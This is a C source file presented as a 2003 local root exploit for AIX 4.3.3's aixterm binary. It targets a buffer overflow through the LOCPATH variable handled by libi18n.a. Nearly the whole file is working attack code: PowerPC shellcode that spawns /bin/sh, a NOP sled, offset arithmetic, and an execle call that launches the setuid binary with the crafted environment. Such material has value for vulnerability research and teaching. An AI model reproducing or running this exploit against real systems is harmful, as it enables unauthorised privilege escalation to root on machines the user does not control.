//
// AIX 4.3.3 /usr/bin/X11/aixterm + /usr/lib/libi18n.a Local Root Exploit
// (Tested on ML9)
//
// darkraver@t0s.org
// 13/10/2003
//

#include <stdlib.h>
#include <stdio.h>

#define 	ALIGN 	0
#define 	OFF		0x628
#define 	LEN 	10000
#define 	START	5000
#define 	NOP 	0x7ffffb78


char hell[]= // AIX 4.3.3
"\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5               */
"\x40\x82\xff\xfd"     /* bnel    <shellcode>            */
"\x7f\xe8\x02\xa6"     /* mflr    r31                    */
"\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)         */
"\x38\x7f\xff\x08"     /* cal     r3,-248(r31)           */
"\x38\x9f\xff\x10"     /* cal     r4,-240(r31)           */
"\x90\x7f\xff\x10"     /* st      r3,-240(r31)           */
"\x90\xbf\xff\x14"     /* st      r5,-236(r31)           */
"\x88\x5f\xff\x0f"     /* lbz     r2,-241(r31)           */
"\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)           */
"\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6            */
"\x44\xff\xff\x02"     /* svca                           */
"/bin/sh\x03";


int main(int argc, char *argv[]) {
int stack;
int offset=0;
int align=ALIGN;
char buf[LEN+ALIGN];
int i;
char *environ[2];
int ajuste=0;
char display[25];

if(argc<2) {
	printf("Usage: ./axiterm_libi18nx <display> [adjust]\n");
	exit(-1);
	} else {
	strncpy(display, argv[1], 24);
	}

if(argc==3) {
	ajuste=atoi(argv[2]);
	}

offset=&stack;

offset=offset+OFF+ajuste;

//offset=0x2ff22930;

printf("OFFSET: %x\n", offset);

memcpy(buf, "LOCPATH=aaaa", 12);

for(i=12;i<LEN;i+=4)
*(int *)&buf[i]=offset;

for(i=START+align;i<LEN-strlen(hell)+align;i+=4)
*(int *)&buf[i]=NOP;

memcpy(buf+LEN-strlen(hell)+align,hell,strlen(hell));

environ[0]=buf;
environ[1]=0;

//execle("/usr/bin/env", "/usr/bin/env", 0, environ);
execle("/usr/bin/X11/aixterm", "/usr/bin/X11/aixterm", "-display", display, 0, environ);

return(-1);
}